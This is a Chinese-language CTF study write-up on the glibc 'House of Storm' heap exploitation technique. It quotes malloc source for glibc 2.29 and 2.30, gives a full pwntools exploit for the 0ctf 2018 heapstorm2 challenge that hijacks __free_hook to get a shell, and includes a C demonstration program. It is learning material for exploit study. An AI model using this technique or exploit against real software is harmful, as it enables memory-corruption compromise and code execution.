House of storm
参照师傅博客
https://www.cnblogs.com/Rookle/p/13140339.html#house_of_storm 这位师傅讲的很容易理解
https://bbs.pediy.com/thread-262424.htm 初号机师傅
漏洞危害
House_of_storm
可以在任意地址写出chunk地址,进而把这个地址的高位当作size,可以进行任意地址分配chunk,也就是可以造成任意地址写的后果,危害十分之大。 House_of_storm
虽然危害之大,但是其条件也是非常的苛刻。
漏洞利用条件
- glibc版本小于2.30,因为2.30之后加入了检查
- 需要攻击者在
large_bin
和 unsorted_bin
中分别布置一个chunk 这两个chunk需要在归位之后处于同一个 largebin
的index中且 unsorted_bin
中的chunk要比 large_bin
中的大
- 需要
unsorted_bin
中的 bk指针
可控
- 需要
large_bin
中的 bk指针和bk_nextsize
指针可控
漏洞利用方法
- 利用unsorted chunk放入large bin时进行的一系列操作
源码分析
2.29及以下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| if (in_smallbin_range(size)) { victim_index = smallbin_index(size); bck = bin_at(av, victim_index); fwd = bck->fd; } else { victim_index = largebin_index(size); bck = bin_at(av, victim_index); fwd = bck->fd; if (fwd != bck) { size |= PREV_INUSE; assert((bck->bk->size & NON_MAIN_ARENA) == 0);
if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) { fwd = bck; bck = bck->bk;
victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert((fwd->size & NON_MAIN_ARENA) == 0); while ((unsigned long) size < fwd->size) { fwd = fwd->fd_nextsize; assert((fwd->size & NON_MAIN_ARENA) == 0); } if ((unsigned long) size == (unsigned long) fwd->size) fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; }
mark_bin(av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim; }
|
2.30及以上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } else { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; if (fwd != bck) { size |= PREV_INUSE; assert (chunk_main_arena (bck->bk)); if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert (chunk_main_arena (fwd)); while ((unsigned long) size < chunksize_nomask (fwd)) { fwd = fwd->fd_nextsize; assert (chunk_main_arena (fwd)); } if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd)) fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)"); fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; if (bck->fd != fwd) malloc_printerr ("malloc(): largebin double linked list corrupted (bk)"); } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
|
例题
0ctf_2018_heapstorm2
exp来自于:https://www.cnblogs.com/Rookle/p/13140339.html#house_of_storm
这道题目还学习到了堆收缩,因为在edit的时候,程序使用strcpy向chunk最后结尾写入一段字符,导致存在了一个off_by_nul,但是同时也无法改写nextchunk的prev_size。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116
| from pwn import * context.log_level = 'debug'
p = process('./heapstorm2') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(size): p.sendlineafter('Command: ','1') p.sendlineafter('Size: ',str(size))
def edit(idx,content): p.sendlineafter('Command: ','2') p.sendlineafter('Index: ',str(idx)) p.sendlineafter('Size: ',str(len(content))) p.sendafter('Content: ',content)
def delete(idx): p.sendlineafter('Command: ','3') p.sendlineafter('Index: ',str(idx))
def show(idx): p.sendlineafter('Command: ','4') p.sendlineafter('Index: ',str(idx))
add(0x18) add(0x508) add(0x18)
add(0x18) add(0x508) add(0x18)
add(0x18)
edit(1,'\x00'*0x4F0+p64(0x500)) delete(1) edit(0,'\x00'*(0x18-12)) add(0x18) add(0x4d8) delete(1)
delete(2) add(0x38) add(0x4e8)
edit(4,'\x00'*0x4F0+p64(0x500)) delete(4)
edit(3,'\x00'*(0x18-12)) add(0x18) add(0x4d8)
delete(4) delete(5)
add(0x48)
delete(2) add(0x4e8) delete(2)
fake_chunk = 0x13370800 - 0x20 payload = '\x00' * 0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk) edit(7, payload) payload = '\x00' * 0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) + p64(0) +\ p64(fake_chunk-0x18-5)
edit(8, payload) add(0x48)
payload = p64(0)*6 + p64(0x13370800) edit(2, payload) payload = p64(0)*3 +p64(0x13377331) payload += p64(0x13370800) + p64(0x1000) payload += p64(fake_chunk+3) + p64(8) edit(0, payload)
show(1)
p.recvuntil("]: ") heap = u64(p.recv(6).ljust(8, '\x00')) success("heap:"+hex(heap))
payload = p64(0)*3 + p64(0x13377331) payload += p64(0x13370800) + p64(0x1000) payload += p64(heap+0x10) + p64(8) edit(0, payload)
show(1) p.recvuntil("]: ") malloc_hook = u64(p.recv(6).ljust(8, '\x00')) -0x58 - 0x10 libc_base = malloc_hook - libc.sym['__malloc_hook'] free_hook = libc_base+libc.sym['__free_hook'] system = libc_base+ libc.sym['system'] success("free_hook:"+hex(free_hook))
payload = p64(0)*4 payload += p64(free_hook) + p64(0x100) payload += p64(0x13370800+0x40) + p64(8) payload += '/bin/sh\x00' edit(0, payload) edit(0, p64(system)) delete(1)
p.interactive()
|
victim->fd_nextsize=0x4e1
victim->bk_nextsize = fake_chunk-0x18-5
fake_chunk-0x18-5=0x4f1
fake_chunk-0x18-5->fd_nextsize = 0x4f1
bck=fake_chunk+8
0x4f1->bk=fake_chunk+8
victim->fd=0x4e1
0x4e1->bk = 0x4f1
fake_chunk+8->fd =0x4f1
Rookle师傅的一个很好的house of storm的demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| #include <stdlib.h> #include <stdio.h> #include <string.h> struct { unsigned long presize; unsigned long size; unsigned long fd; unsigned long bk; unsigned long fd_nextsize; unsigned long bk_nextsize; }chunk;
int main() { unsigned long *large_chunk,*unsorted_chunk; unsigned long *fake_chunk = (unsigned long *)&chunk; char *ptr;
unsorted_chunk=malloc(0x418); malloc(0X20); large_chunk=malloc(0x408); malloc(0x20);
free(large_chunk); free(unsorted_chunk); unsorted_chunk=malloc(0x418); free(unsorted_chunk);
unsorted_chunk[1] = (unsigned long )fake_chunk; large_chunk[1] = (unsigned long )fake_chunk+8; large_chunk[3] = (unsigned long )fake_chunk-0x18-5;
ptr=malloc(0x48); strncpy(ptr, "/bin/sh\x00", 0x10); system(((char *)fake_chunk + 0x10)); return 0; }
|
参考文章
https://www.cnblogs.com/Rookle/p/13140339.html#house_of_storm
https://bbs.pediy.com/thread-262424.htm#msg_header_h1_1
http://blog.wjhwjhn.com/archives/144/
https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack/
https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack/